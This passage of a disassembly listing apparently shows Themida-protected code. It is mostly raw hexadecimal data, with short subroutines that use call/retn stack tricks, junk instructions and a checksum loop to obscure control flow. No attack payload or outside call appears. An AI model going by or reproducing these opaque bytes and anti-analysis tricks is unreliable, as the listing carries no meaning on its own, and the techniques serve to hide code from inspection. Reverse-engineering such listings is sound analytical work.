24448104h, 1404h, 0C3514100h, 89FFB3D9h dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 487ADFC3h, 0D6DB2878h, 0FEF7858Dh, 6A07FDh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6DB9A4C3h, 39985A8Bh, 0CE85608h, 60000000h, 5107D746h dd 860BA856h, 8BCA18A7h, 0FA23C19Dh, 86895B07h, 0B8h, 29A7CB81h dd 6A5DBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 89C35242h, 8D89DBC1h, 7FA189Dh, 0BADB8166h, 96B5FFB4h dd 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 1CCAC357h, 9595FFC9h, 6607FA1Ch dd 0E541E781h, 0D15DBF50h, 34897387h, 799D2924h, 0F807FA1Fh dd 0EB96B5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0AD790CC3h, 9E9A4h, 973C0000h, 0DBB3EC84h dd 0FF382373h, 0FA1D9595h, 8392B707h, 0FA0131BDh, 840F0007h dd 65h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h dd 6EC35040h, 0D88B66F8h, 5820F50h, 0BF000000h, 6CA37AC8h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 3B62C357h, 13A3C627h, 10E9h, 0CF194400h dd 99EDC475h, 8C0459B0h, 9A277F14h, 96B5FF94h, 6A07FDEBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 7BCC353h, 0B9E1A83Ch, 65C31480h, 0BE9h, 8C937B00h dd 24CE0375h, 0A427B90Eh, 1CB595FFh, 896007FAh, 0FA31218Dh dd 0D38B6607h, 96B5FF61h, 8907FDEBh, 0FA31BD85h, 0AD95FF07h dd 6A07FA21h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 3A49C352h, 0B5BD03BBh, 0F07FA29h dd 68Fh, 69E78100h, 830D864Ah, 0FA2221BDh, 840F0207h, 67h dd 2315BD8Bh, 858B07FAh, 7FA1615h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 67C35747h, 0CF96D910h, 2BF9AA8h dd 38C0Fh, 8B660000h, 0D5C3BFD8h, 0C60D23h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 59BC8DBCh, 997174A8h, 0C7FEBF0Fh, 0FA16DD85h, 7, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 6DCDFC0h, 9A99E8Ch, 371FDB81h db 0F3h, 1Eh ; --------------------------------------------------------------------------- loc_5CD7BE: ; CODE XREF: Themida_:005CD332j ; Themida_:005CD342j jmp near ptr dword_5CCACC+32h ; --------------------------------------------------------------------------- or edi, 448CFB80h mov eax, ecx push 0 push eax call sub_5CD7D6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD7D6 proc near ; CODE XREF: Themida_:005CD7CEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5CD7D6 endp ; --------------------------------------------------------------------------- dw 0D3E9h ; --------------------------------------------------------------------------- rcl byte ptr [edx], cl or ebx, [ebp+7FA24B1h] lea eax, [ebp+7FA0199h] or [ebp+7FA2DBDh], esi push eax mov ebx, ecx mov [esp], eax push 0 push eax call sub_5CD80D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD80D proc near ; CODE XREF: Themida_:005CD805p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5CD80D endp ; --------------------------------------------------------------------------- inc dword ptr [ebp+edi*8+0] pop ecx xor al, 99h push 0 jmp loc_5CD830 ; --------------------------------------------------------------------------- db 8Bh dd 79F9810Fh ; --------------------------------------------------------------------------- loc_5CD830: ; CODE XREF: Themida_:005CD826j push 0 push 0 push edx call sub_5CD83D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD83D proc near ; CODE XREF: Themida_:005CD835p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CD83D endp ; --------------------------------------------------------------------------- sbb dword ptr [edx-2Ah], 0DD795C72h jbe short near ptr loc_5CD88C+2 push esi mov bl, 0ABh pop edi lea eax, [ebp+7FEA5D5h] push 0 push edi call sub_5CD86B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD86B proc near ; CODE XREF: Themida_:005CD863p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5CD86B endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 13h, 0A2h, 85h ; --------------------------------------------------------------------------- mov edi, 44AA19ADh cmc add eax, 5 push 0 push edi loc_5CD88C: ; CODE XREF: Themida_:005CD854j call sub_5CD894 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD894 proc near ; CODE XREF: Themida_:loc_5CD88Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5CD894 endp ; --------------------------------------------------------------------------- dd 3967F5B1h, 880F64ADh, 6, 2B5DBD8Bh, 0E89007FAh, 9, 0CED81118h dd 66F3FAF3h, 90505F4Ch, 8890Fh, 0F520000h, 80h, 6A5B00h dd 7E852h, 0FBAA0000h, 0BE2C33E5h, 0EB8166B5h, 5F5B6DC5h dd 11059D31h, 6A07FAh, 2D99D89h, 95FF07FAh, 7FA2BE9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h, 0BD89652Ah dd 7FA2EEDh, 0D7118D8Dh, 6A07FDh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 5166AEC3h, 84BF0C27h dd 0FF37CE54h, 0D9BD8BD1h, 8307FA26h, 0FA33EDBDh, 850F0107h dd 0B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0E0C35242h, 81D98B0Dh, 6C2999F3h, 6A026A0Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 7827C350h, 84EBD571h, 0CE9A5F0h, 0A9000000h, 0C5D82E70h dd 0C0D07E66h, 0F056FECh, 148Dh, 0FE900h, 37E80000h, 4B3C98E7h dd 67209FE3h, 0E45AFFFAh, 8A0F50ACh, 5, 408D89BBh, 24048971h dd 1C9595FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0A93595C3h, 8F4D8916h, 3455BD23h dd 0F9E907FAh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7FEA5DFh pusha movzx ecx, ax mov [ebp+7FA105Dh], edx popa mov bh, dh lea eax, [ebp+7FDB959h] push 0 push ebx call sub_5CDA45 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDA45 proc near ; CODE XREF: Themida_:005CDA3Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5CDA45 endp ; --------------------------------------------------------------------------- db 0D7h, 22h, 0D2h dd 10E9506Bh, 69000000h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h dd 89F963DBh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 8F4134C3h, 27D83014h, 0FF64FC5Dh dd 35h, 870F00h, 64000000h, 2589h, 0B5290000h, 7FA1F69h dd 104985FFh, 8B6007FAh, 0FA0CC9BDh, 0FF6A6107h, 8B0Fh dd 0B5FF0000h, 7FA167Dh, 0A820Fh, 8F0F0000h, 4, 611DBF66h dd 287595FFh, 0F8E907FAh, 0F000000h, 0B0F9BFh, 70E6FE8Bh dd 34D59D23h, 71E407FAh, 15A18D89h, 613C07FAh, 0D9830Fh dd 8A0F0000h, 0Dh, 5D958960h, 0B807FA2Ah, 162E6BE8h, 0C8B60F61h dd 0AE8h, 94F82200h, 0FC8C4CF5h, 0E8CAA931h, 5, 0A4109C62h dd 0BA5F5B0Bh, 6, 20D18D89h, 0C18B07FAh, 14CB8166h, 4E8C1EEh dd 8BEB8166h, 0E2F7663Eh, 0C82BB5B3h, 5E9D18Bh, 19000000h dd 0BEA01E23h, 1E9h, 858BF900h, 7FA108Dh, 0B3D9589h, 0D88B07FAh dd 0F907C083h, 6600C083h, 3BF882BBh, 16830FD0h, 0FC000000h dd 5E9h, 0B2733C00h, 44E963BEh, 89000000h, 0FA235DBDh dd 198D8B07h, 8107FA26h, 627DBBDFh, 1E18355h, 29840Fh dd 0BD030000h, 7FA2BE5h, 1599D8Bh, 0A58307FAh, 7FA2619h dd 0FBE780FEh, 108D9589h, 8A0F07FAh, 2, 0E986B7h, 8D000000h dd 0FE2EF4B5h, 8B006A07h, 1995FFD8h, 0E907FA10h, 0Dh, 0C1C1F46h dd 0C4705FE2h, 477F74FEh, 87BB92Eh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6313EEC3h dd 96D64631h, 8363807Eh, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 83BB8FC3h, 0FE9h, 0E9958E00h dd 8F21432Fh, 0AE1E69F4h, 9EAB6E4Dh, 719BF7BFh, 0BD8BFC29h dd 7FA1089h, 0B8h, 66FE8B00h, 0D22BFA8Bh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0E9C35141h, 901ED3D5h dd 70F916D9h, 7E85Eh, 60C60000h, 680066EFh, 0F59D8B2Ah dd 5F07FA2Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0BF0FFB8Bh dd 318589FFh, 0D07FA1Fh, 88h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0D3C35242h, 901BA061h, 7E9h dd 0E9364400h, 1DC4A54Ah, 1CD9958Bh, 9E807FAh, 7A000000h dd 6D60143Fh, 0B94136CCh, 10E9h, 39B75300h, 48A7B6DDh dd 868D2E1Fh, 0D2D3E941h, 8D8B5B12h, 7FA31ADh, 8859D8Bh dd 8B5007FAh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0F99BD89h, 0BF0F07FAh, 50006AF8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 12E9F2h, 0B67F0000h dd 0E7DC0E11h, 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 2A29BD83h dd 0F0007FAh, 0CA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0DC6C1144h, 87C0711Dh dd 2B2DBD8Bh, 0B807FAh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AF6CC356h dd 0F42239Dh, 68Eh, 55BD0100h, 0E907FA2Eh, 0Bh, 5F011FE1h dd 80C8B959h, 8DC5204Dh, 0FA4F668Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8B46E8h dd 7FA0B7Dh, 7E9h, 31FECB00h, 0BB24419Bh, 6AE1FFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 23A8BEC3h, 0B8C2131Fh, 898589DDh, 8307FA00h, 0FA2BD9BDh dd 840F0007h, 483h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0A1C35141h, 0FECFBC3Bh, 16C14A6Dh, 458D89B1h dd 8307FA21h, 0FA2BD9BDh, 840F0107h, 466h, 28319D33h, 0BD8307FAh dd 7FA2BD9h, 1D860F03h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9E60C352h dd 5E9A2D5h, 17000000h, 30F0C91Bh, 10E960h, 0CD640000h dd 660A08EDh, 70F80EB5h, 3F4D3947h, 8C666041h, 11E9D9h dd 0DEE40000h, 0A395E868h, 0C80006E8h, 67A03D31h, 803C007Ah dd 0BF0F04E1h, 618589F9h, 0A07FA14h, 15840FC9h, 0E9000001h dd 9, 84D9BE68h, 27E18E3Eh, 0E9858BDCh, 8B07FA0Fh, 0FA32C19Dh dd 0E1853307h, 6607FA15h, 10BC381h, 50DF8B90h, 0D59BB66h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 48896B86h, 2CB2621h, 0BD8B900Bh, 7FA0FD1h dd 9D29006Ah, 7FA02E1h, 152C8268h, 8B52502Ch, 5A310FDFh dd 24348158h, 2C0A2F7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0B9C35141h, 0BF66F51Ch, 9ABB5836h, 0FF1D5286h dd 0FA1CE995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 6800F77h, 8B000000h, 0FA0A719Dh dd 96858907h, 6A07FDEBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0A62DC351h, 0FCC9CF3Dh dd 37AB0DDCh, 6E8h, 9BE1BA00h, 0F69F911h, 68Bh, 0C19D8B00h dd 5B07FA24h, 217E9h, 0DA8B6600h, 0EB8E858Bh, 6A07FDh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0BECEBDC3h, 5C09E9E7h, 891990DEh, 0FA15B18Dh, 1800C707h dd 0F9000000h, 0EB92B58Bh, 0B70F07FDh, 659589DFh, 8B07FA31h dd 0FA0D5185h, 6A068907h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 48F0C350h, 160AC4Eh dd 0FA29158Dh, 0BD8B6107h, 7FA08D1h, 0FE9858Bh, 0CE907FAh dd 22000000h, 911F71C2h, 3A705567h, 8939F28Ch, 0E8BF0446h dd 962A38D2h, 30BF6650h, 8B669696h, 7D9D8BDEh, 0FF07FA27h dd 0FDEB8EB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B100E5F6h, 0DAE44856h dd 9D33F94Ah, 7FA3189h, 4E8h, 1F03FF00h, 13E800h, 0A9E70000h dd 572C3A90h, 3CC39D0Fh, 2C298AC4h, 5E46696Ch, 36BF6684h dd 0E8505F62h, 12h, 0C764F59Ch, 701A386Bh, 6FC8BE49h, 0A011B041h dd 12E8A1EBh, 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h dd 8BC87A5Fh, 10E837h, 39440000h, 6D9AC61Ch, 0E04732Eh dd 0E799BA59h, 5B5F251Ah, 24448B5Bh, 8B30B704h, 3850F00h dd 66000000h, 4489F88Bh, 5F520424h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 34AE87C0h dd 9D8B85B4h, 7FA2B79h, 0EB96858Dh, 6A07FDh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 849AF7C3h dd 0BC8188C1h, 5276A44Dh, 23F5BD8Bh, 905B07FAh, 9097B350h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h dd 0CA58D89h, 858907FAh, 7FA2389h, 1CE995FFh, 6A07FAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 51CE46C3h, 8166515Fh, 5B1F41E7h, 52006A61h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 704FECA0h, 0C724EA54h, 0FA2BD985h, 307h dd 0BD83F900h, 7FDEB96h, 4D840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0B7E9C352h, 4B271FFh, 3C56CD6Fh, 3EE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 1E4BE969h, 8E93BD98h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0FC08B00h, 38Ch, 0FFB70F00h, 66D9D8Bh, 0BE907FAh dd 74000000h, 3D422C97h, 2A5613F3h, 0BD839D28h, 7FA2BD9h dd 0A4850F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 88B9C355h, 46BB64E9h dd 0EB96BD83h, 0F0007FDh, 47684h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2EF6FD4Ah dd 820FAC86h, 6, 26659D8Bh, 0BD0307FAh, 7FA0FC5h, 1F619D8Bh dd 0B5FF07FAh, 7FDEB96h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0B1C35646h, 8218529h, 95FF07FAh, 7FA2745h dd 0B44CBB66h, 0EB8AB58Bh, 6A07FDh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1979E0C3h dd 106C7EAh, 6A000100h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 63D5C357h, 76FF8613h dd 14E97EEAh, 0DA000000h, 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h dd 0A25EBC9Ch, 96BB5662h, 61F08B60h, 0F88B6650h, 96B5FF96h dd 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0BA9DC357h, 0E8FD9CE5h, 0F5E0AD0h dd 0C81h, 68C0F00h, 9000000h, 0FA0F6195h, 0E18D8907h, 0FF07FA10h dd 0FA18E195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 469EF312h, 118E0FF5h dd 0E8000000h, 5, 1028E7C7h, 31B58930h, 5F07FA28h, 12E8h dd 0ADCB7700h, 0D37DB32Eh, 4332AC66h, 0CD26CBBAh, 5BA3F827h dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 2C83F4C3h, 0EB81666Eh, 858B770Ah dd 7FA1C7Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 7BC35646h, 0C95CA2C8h, 0E96906B3h, 7, 5FEAB1ECh dd 0FD88C08h, 8689FBBFh, 0C4h, 5E27E381h, 8BF92BDBh, 0FA1CD995h dd 65BD3107h, 8307FA1Ch, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F2C3BC3h, 688h, 81858900h dd 8B07FA08h, 0FA23059Dh, 20508907h, 0FEF7858Dh, 5E807FDh dd 6C000000h, 0AF1EB8FDh, 8C18589h, 895B07FAh, 0B886h dd 68F0F00h, 9000000h, 0FA1DF9B5h, 6A006A07h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 653CC356h, 6694657Dh, 0A544CB81h, 1C29B589h, 0B5FF07FAh dd 7FDEB96h, 2FA9BD8Bh, 95FF07FAh, 7FA1C95h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3FC35545h, 0E3230C8Bh dd 576EE177h, 9D8BF8D1h, 7FA2059h, 3CB8166h, 0BE99675h dd 60000000h, 0D6403CDFh, 2F53D318h, 0F50FD8Dh, 1386h dd 8E800h, 6EFC0000h, 0BE7F5584h, 89BB48A6h, 5B17F3C5h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 81623B7Fh, 462DCEE3h, 96B5FF71h, 6A07FDEBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 9E03C357h, 0E9A20F56h, 0B509193Eh, 7FA1CA5h dd 1D9595FFh, 8D0F07FAh, 6, 68DBD0Bh, 0BD8307FAh, 7FA0131h dd 20840F00h, 0E9000000h, 7, 317A2EA2h, 5013495Fh, 48F0Fh dd 0BF660000h, 34890E2Ah, 59958924h, 0FF07FA2Ch, 0FDEB96B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8B28D55Ch, 0FA215DBDh, 0B595FF07h, 6607FA1Ch dd 0B5FFDE8Bh, 7FDEB96h, 21AD95FFh, 6A07FAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D5D162C3h dd 0FB1CBCBh, 21BD83D7h, 207FA22h, 7D840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0B6035DC3h, 4179F87Dh, 9E89Ah, 78CB0000h, 0E5628B55h dd 0E85AC534h, 6, 3634406Ah, 81667919h, 5BA1A3F7h, 0F1BD235Fh dd 8B07FA00h, 0FA161585h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 90A885B5h dd 0BEF85C63h, 0C67069h, 85B52900h, 0C707FA01h, 0FA16DD85h dd 7, 35BD8B00h, 0E907FA14h, 0FFFFF2CEh, 5E951h, 6E490000h dd 5B56BE2Fh, 0AE8C18Bh, 0AA000000h, 57E9ED14h, 95BD5222h dd 619D0326h, 5B07FA06h, 199858Dh, 6A07FAh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 20F6D7C3h dd 896B2314h, 0FA2109BDh, 0D88B5007h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 7958C357h, 0C2698E1h, 0FA4C1BECh, 21A98501h, 6A07FAh dd 5800Fh, 62BB0000h, 6A64F34Eh, 0B99D8B00h, 8D07FA18h dd 0FEB5E285h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 6DE5AB9h, 0F6045AEh, 9D03FFBFh dd 7FA2A75h, 5C08361h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 73C35545h, 8EC9E158h, 0BD8B40FAh, 7FA1575h dd 90F88B66h, 7581BF66h, 0BE850h, 0D7D70000h, 94416B5Eh dd 1ABC78ACh, 3810FECh, 66000000h, 905BDF8Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E28CCAE8h dd 89D94EDFh, 0FA259985h, 6AFC07h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 8DC35343h, 0FDD8B6A4h, 383EA6CCh dd 0EE9006Ah, 0E0000000h, 0F3E7F8ABh, 0AED9F8DDh, 0BD9F56h dd 0E995FF19h, 0F907FA2Bh, 0D7118D8Dh, 8B6607FDh, 6AD1FFD9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 4B59C350h, 33EDBD83h, 0F0107FAh, 7A85h, 0CE900h dd 6600000h, 7BC9B448h, 5C3058ECh, 0DA8BCB37h, 8B66026Ah dd 0D98B50FBh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 5423C357h, 30C4325Fh dd 11E815A8h, 0E000000h, 594A5561h, 0AFFAB7FEh, 84685A7Bh dd 0F21B4A1Fh, 0AE8h, 23D5F900h, 491A83FAh, 0F450480h dd 82h, 0F55B5B00h, 1C9595FFh, 0EEBB07FAh, 0E939E4AEh dd 0E6Bh, 0E8h, 0ED815D00h, 7FEB5ECh, 5DCC381h, 6A14F8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0BB3F27C3h dd 0B959858Dh, 6A07FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 2C6C41C3h, 91CA5741h, 80F98B64h dd 8B66B5DBh, 8A0F90FAh, 2, 665041B7h, 902BC1BFh, 64DBCB80h dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 8964F8C3h, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 91DAF572h, 104985FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0C654BCC3h, 0EFE14682h dd 2D3DBD8Bh, 0FF6A07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0CC35646h, 7453DB4h, 9CF8166h, 0FE8B66C4h dd 0D31B5FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 709E15C3h, 896288Dh, 9D8BFF0Dh dd 7FA1671h, 29999D89h, 95FF07FAh, 7FA2875h, 0F7E9h, 71958900h dd 0B007FA2Dh, 0C1F78100h, 0E654BAFDh, 0DA8B6670h, 0BD8B71E4h dd 7FA2BEDh, 830F613Ch, 0D4h, 253D9D0Bh, 0F38107FAh, 1E294E31h dd 29C8B60Fh, 0FA0FF1BDh, 0A59D8907h, 0BA07FA15h, 6, 0C18BFB8Bh dd 8E9h, 91D74000h, 0A3C1C1EFh, 4E8C174h, 81E2F766h, 794CB4D3h dd 66C82B16h, 3AF2C781h, 0F380D18Bh, 6E9A1h, 95890000h dd 7FA183Dh, 0E9D858Bh, 9D2307FAh, 7FA0E09h, 8A07C083h dd 0C083FDh, 3165BD8Bh, 0D03B07FAh, 23830Fh, 0DE90000h dd 0CC000000h, 3594B863h, 14428D92h, 0E4ED9185h, 47E9h dd 68E0F00h, 29000000h, 0FA291D9Dh, 0C58D8B07h, 0F07FA0Ch dd 685h, 61B58900h, 8307FA22h, 840F01E1h, 20h, 0CC5A583h dd 50FE07FAh, 898D01h, 895B07FAh, 0FA0E9D95h, 0F18D8907h dd 0E907FA30h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FE38EDh] push 0 push ebp call sub_5CEC85 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEC85 proc near ; CODE XREF: Themida_:005CEC7Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5CEC85 endp ; --------------------------------------------------------------------------- db 74h, 91h, 0EEh dd 45236EF5h, 0E95BD8Bh, 6A07FAh, 17CD8529h, 0B52907FAh dd 7FA247Dh, 101995FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 8AB97BC3h, 2591BD8Bh dd 4DB907FAh, 6A000008h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0B7CEC350h, 9B7A34Ah dd 0F9A06C2h, 482h, 61606000h, 0FCE18361h, 6F38166h, 6AFCCEh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0B8C7EBC3h, 0E8F5C5E8h, 0Ah, 0B6FC9B06h, 3D0352C0h dd 880FB14Ah, 6, 24B19D8Bh, 0B85B07FAh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5CED63 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CED63 proc near ; CODE XREF: Themida_:005CED5Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5CED63 endp ; --------------------------------------------------------------------------- db 0C8h ; --------------------------------------------------------------------------- jg loc_5CED88 pusha mov esi, [ebp+7FA187Dh] mov [ebp+7FA25D1h], esi popa loc_5CED88: ; CODE XREF: Themida_:005CED74j sub edx, edx mov [ebp+7FA2A0Dh], eax loc_5CED90: ; CODE XREF: Themida_:005CED9Aj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5CED90 cmc xor [ebp+7FA06A9h], ecx or eax, 88h xor edi, 28B8F952h mov edx, [ebp+7FA1CD9h] push 0 push esi call sub_5CEDBF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEDBF proc near ; CODE XREF: Themida_:005CEDB7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CEDBF endp ; --------------------------------------------------------------------------- scasd enter 22A6h, 8Bh inc ecx sbb ebx, 5B6D0D49h mov ecx, [ebp+7FA31ADh] mov bh, 0BFh push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push edx call sub_5CEE00 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEE00 proc near ; CODE XREF: Themida_:005CEDF8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5CEE00 endp ; --------------------------------------------------------------------------- dd 46113E31h, 6A0CEBFh, 7EBF6608h, 29BD835Ch, 7FA2Ah, 94840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 16EC3C3h, 11BD8B18h, 0F07FA25h, 789h, 1870F00h dd 0F9000000h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 